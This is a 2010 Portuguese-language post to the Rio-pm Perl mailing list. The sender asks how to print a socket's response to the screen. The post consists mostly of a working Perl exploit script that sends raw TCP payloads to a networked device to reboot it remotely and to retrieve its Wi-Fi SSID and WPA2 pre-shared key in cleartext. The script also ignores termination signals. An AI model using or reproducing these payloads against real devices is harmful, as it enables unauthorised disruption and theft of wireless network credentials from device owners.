[Rio-pm] Duvidas.

Oscar Marques oscarbm em gmail.com
Terça Junho 29 10:39:59 PDT 2010


Senhores (as).

Boa tarde!
Estou com uma duvida.

Tenho o seguinte codigo:

===

#!/usr/bin/perl

my $VERSAO = '0.1';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

# Remote reboot.
my $payload1 = ("\x05" . "\x00" x 7);

# Retrieving Wi-Fi SSID
# cleartext SSID displayed after "21 27 xx xx" in the received datagram.
my $payload2 = ("\x03" . "\x00" x 7 . "\x21\x27\x00");

# Retrieving WPA2 PSK
# cleartext WPA2 PSK displayed after "24 27 xx xx" in the received datagram.
my $payload3 = ("\x03" . "\x00" x 7 . "\x23\x27\x00\x00\x24\x27\x00");

my $hostname = @ARGV[0];
my $port = @ARGV[1];
my $type = @ARGV[2];

my $msg = "";

sub banner {
print ("");
}

banner();

use strict;
use IO::Socket;

my $sock = new IO::Socket::INET (
PeerAddr => $hostname,
PeerPort => $port,
Proto => 'tcp',
);
die "[x] Error: $!\n" unless $sock;

if ($type eq "1") {
    print $sock $payload1;
    print "[+] Rebooting\n";
    my $buf = '';
    while (defined($buf = <$sock>)) {
    print $buf;
}

  } elsif ($type eq "2") {
    print $sock $payload2;
    print "[+] Retrieving Wi-Fi SSID\n"
  } elsif ($type eq "3") {
    print $sock $payload3;
    print "[+] Retrieving WPA2 PSK\n"
  } else {
    printf "\n [x] Invalid Option ...\n\n";
    banner();
  }
  close($sock);
  exit(1);

===

Gostaria de mostar a resposta do Socket na tela (STDOUT).

    my $buf = '';
    while (defined($buf = <$sock>)) {
    print $buf;


Como proceder?
Tentei aqui e não consigo mostrar a mensagem.
Grato Monges!
-------------- Próxima Parte ----------
Um anexo em HTML foi limpo...
URL: <http://mail.pm.org/pipermail/rio-pm/attachments/20100629/e28a7eda/attachment.html>


Mais detalhes sobre a lista de discussão Rio-pm